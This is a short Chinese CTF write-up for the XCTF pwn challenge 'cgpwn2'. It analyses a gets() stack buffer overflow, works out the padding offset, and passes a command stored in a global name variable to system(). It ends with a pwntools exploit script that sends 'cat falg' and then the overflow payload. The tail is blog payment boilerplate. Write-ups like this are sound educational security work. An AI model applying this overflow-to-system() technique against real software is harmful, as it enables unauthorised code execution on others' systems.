攻防世界 - pwn - cgpwn2

A、流程分析

  

  1、将输入的用户名存储到全局变量

  2、通过gets()获取留言信息

 

B、利用分析

   1、gets( ebp-26h ) -> 26h(填充数据) + 4(ebp) + 4(返回地址) -> payload构造

   2、可利用函数

    

   在pwn函数有system函数,可通过该地址调用系统命令

  3、用户名使用的全局变量,可以输入命令,搭配system使用

  4、注意事项

      26h(填充数据) + 4(ebp) + 4(返回地址) ,ret之后esp-4 , 调用call后esp+4,也就是esp不改变,因此参数放在返回地址后面即可

      payload -> 26h(填充数据) + 4(ebp) + 4(返回地址) +4(name全局变量地址)

 

C、exp

#!/usr/bin/python3
from pwn import *

#litter data + system address + public address
payload = 10*p32(0x61616161) + p32(0x855A6161) + p32(0xA0800804) +p32(0x00000804)  

print(payload)
p = process('./cgpwn2')
p.recvuntil('please tell me your name')
p.sendline('cat falg') # system command
p.recvuntil('hello,you can leave some message here:')
p.sendline(payload)
p.interactive()
 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值